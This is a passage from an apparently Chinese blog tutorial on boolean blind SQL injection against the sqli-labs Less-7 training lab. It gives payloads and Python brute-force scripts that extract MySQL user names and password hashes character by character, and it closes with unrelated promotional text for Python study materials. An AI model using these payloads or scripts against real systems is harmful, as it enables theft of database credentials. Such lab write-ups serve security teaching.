用户名的长度肯定是大于1个字符,因此页面正常显示。
![在这里插入图片描述](https://img-blog.csdnimg.cn/47c07ae9bd964de38c555f279fa55264.png)
我们再假设用户名的长度小于1个字符,payload如下:
?id=1’)) and length(
(select group_concat(user,password)
from mysql.user)
)<1 – a
用户名的长度肯定不会小于1个字符,因此页面异常显示。
![在这里插入图片描述](https://img-blog.csdnimg.cn/c58255933ce44786bbadf0d7c15424ff.png)
由此可以判断,长度验证payload可以正常使用,接下来,我们假设用户名的长度等于1个字符,并由1开始递增,页面异常显示表示长度不对,页面正常显示表示长度正确,payload如下:
?id=1’)) and length(
(select group_concat(user,password)
from mysql.user)
)=1 – a
手动猜解比较麻烦,这里我们借助Python进行自动化测试,脚本如下:
import requests
目标网址(不带参数)
url = “http://e21fc2f5edd94958b95f5fe006dc8331.app.mituan.zone/Less-7/”
猜解长度使用的payload
payload_len = “”“?id=1’)) and length(
(select group_concat(user,password)
from mysql.user)
)={n} – a”“”
获取长度
def getLength(url, payload):
length = 1 # 初始测试长度为1
while True:
response = requests.get(url= url+payload_len.format(n= length))
# 页面中出现此内容则表示成功
if ‘You are in… Use outfile…’ in response.text:
print(‘测试长度完成,长度为:’, length,)
return length;
else:
print(‘正在测试长度:’,length)
length += 1 # 测试长度递增
开始猜解
getLength(url, payload_len)
猜解长度为42,运行结果如下:
![在这里插入图片描述](https://img-blog.csdnimg.cn/79934af7030c4333940fa3fed6d582a7.png)
### 3)枚举字符
长度确定之后,我们利用ASCLL码表枚举每个字符的可能性。
ASCLL码表总共127个字符(可输入的字符范围是32~126),我们将每个字符转换成ASCLL码,由32开始枚举判断,递增至126,页面异常显示表示猜测错误,页面正常显示表示猜测正确。
手动枚举比较麻烦,这里我们使用Python自动化验证,脚本如下:
import requests
目标网址(不带参数)
url = “http://e21fc2f5edd94958b95f5fe006dc8331.app.mituan.zone/Less-7/”
枚举字符使用的payload
payload_str = “”“?id=1’)) and ascii(substr(
(select group_concat(user,password)
from mysql.user)
,{n},1))={r} – a”“”
获取字符
def getStr(url, payload, length):
str = ‘’ # 初始表名/库名为空
for l in range(1, length+1):
for n in range(33, 126):
response = requests.get(url= url+payload_str.format(n= l, r= n))
if ‘You are in… Use outfile…’ in response.text:
str+= chr(n)
print(‘第’, l, ‘个字符猜解成功:’, str)
break;
return str;
开始猜解
getStr(url, payload_str, 42)
成功猜解数据库用户的账号和密码,执行结果如下:
![在这里插入图片描述](https://img-blog.csdnimg.cn/bad17a86717b4cd38f8921d474b967fa.png)
### 3)完成脚本如下
import requests
只需要修改url 和 两个payload即可
目标网址(不带参数)
url = “http://e21fc2f5edd94958b95f5fe006dc8331.app.mituan.zone/Less-7/”
猜解长度使用的payload
payload_len = “”“?id=1’)) and length(
(select group_concat(user,password)
from mysql.user)
)={n} – a”“”
枚举字符使用的payload
payload_str = “”“?id=1’)) and ascii(substr(
(select group_concat(user,password)
from mysql.user)
,{n},1))={r} – a”“”
获取长度
def getLength(url, payload):
length = 1 # 初始测试长度为1
while True:
response = requests.get(url= url+payload_len.format(n= length))
# 页面中出现此内容则表示成功
if ‘You are in… Use outfile…’ in response.text:
print(‘测试长度完成,长度为:’, length,)
return length;
else:
print(‘正在测试长度:’,length)
length += 1 # 测试长度递增
获取字符
def getStr(url, payload, length):
str = ‘’ # 初始表名/库名为空
for l in range(1, length+1):
for n in range(33, 126):
response = requests.get(url= url+payload_str.format(n= l, r= n))
if ‘You are in… Use outfile…’ in response.text:
str+= chr(n)
print(‘第’, l, ‘个字符猜解成功:’, str)
break;
return str;
开始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)
**一、Python所有方向的学习路线**
Python所有方向的技术点做的整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照下面的知识点去找对应的学习资源,保证自己学得较为全面。
![img](https://img-blog.csdnimg.cn/1d40facda2b84990b8e1743f5487d455.png)
![img](https://img-blog.csdnimg.cn/0fc11d4a31bd431dbf124f67f1749046.png)
**二、Python必备开发工具**
工具都帮大家整理好了,安装就可直接上手!![img](https://img-blog.csdnimg.cn/ff266f529c6a46c4bc28e5f895dec647.gif#pic_center)
**三、最新Python学习笔记**
当我学到一定基础,有自己的理解能力的时候,会去阅读一些前辈整理的书籍或者手写的笔记资料,这些笔记详细记载了他们对一些技术点的理解,这些理解是比较独到,可以学到不一样的思路。
![img](https://img-blog.csdnimg.cn/6d414e9f494742db8bcc3fa312200539.png)
**四、Python视频合集**
观看全面零基础学习视频,看视频学习是最快捷也是最有效果的方式,跟着视频中老师的思路,从基础到深入,还是很容易入门的。
![img](https://img-blog.csdnimg.cn/a806d9b941c645858c61d161aec43789.png)
**五、实战案例**
纸上得来终觉浅,要学会跟着视频一起敲,要动手实操,才能将自己的所学运用到实际当中去,这时候可以搞点实战案例来学习。![img](https://img-blog.csdnimg.cn/a353983317b14d3c8856824a0d6186c1.png)
**六、面试宝典**
![在这里插入图片描述](https://img-blog.csdnimg.cn/97c454a3e5b4439b8600b50011cc8fe4.png)
![在这里插入图片描述](https://img-blog.csdnimg.cn/111f5462e7df433b981dc2430bb9ad39.png)
###### **简历模板**![在这里插入图片描述](https://img-blog.csdnimg.cn/646863996ac44da8af500c049bb72fbd.png#pic_center)
**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**
**[需要这份系统化学习资料的朋友,可以戳这里无偿获取](https://bbs.csdn.net/topics/618317507)**
**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**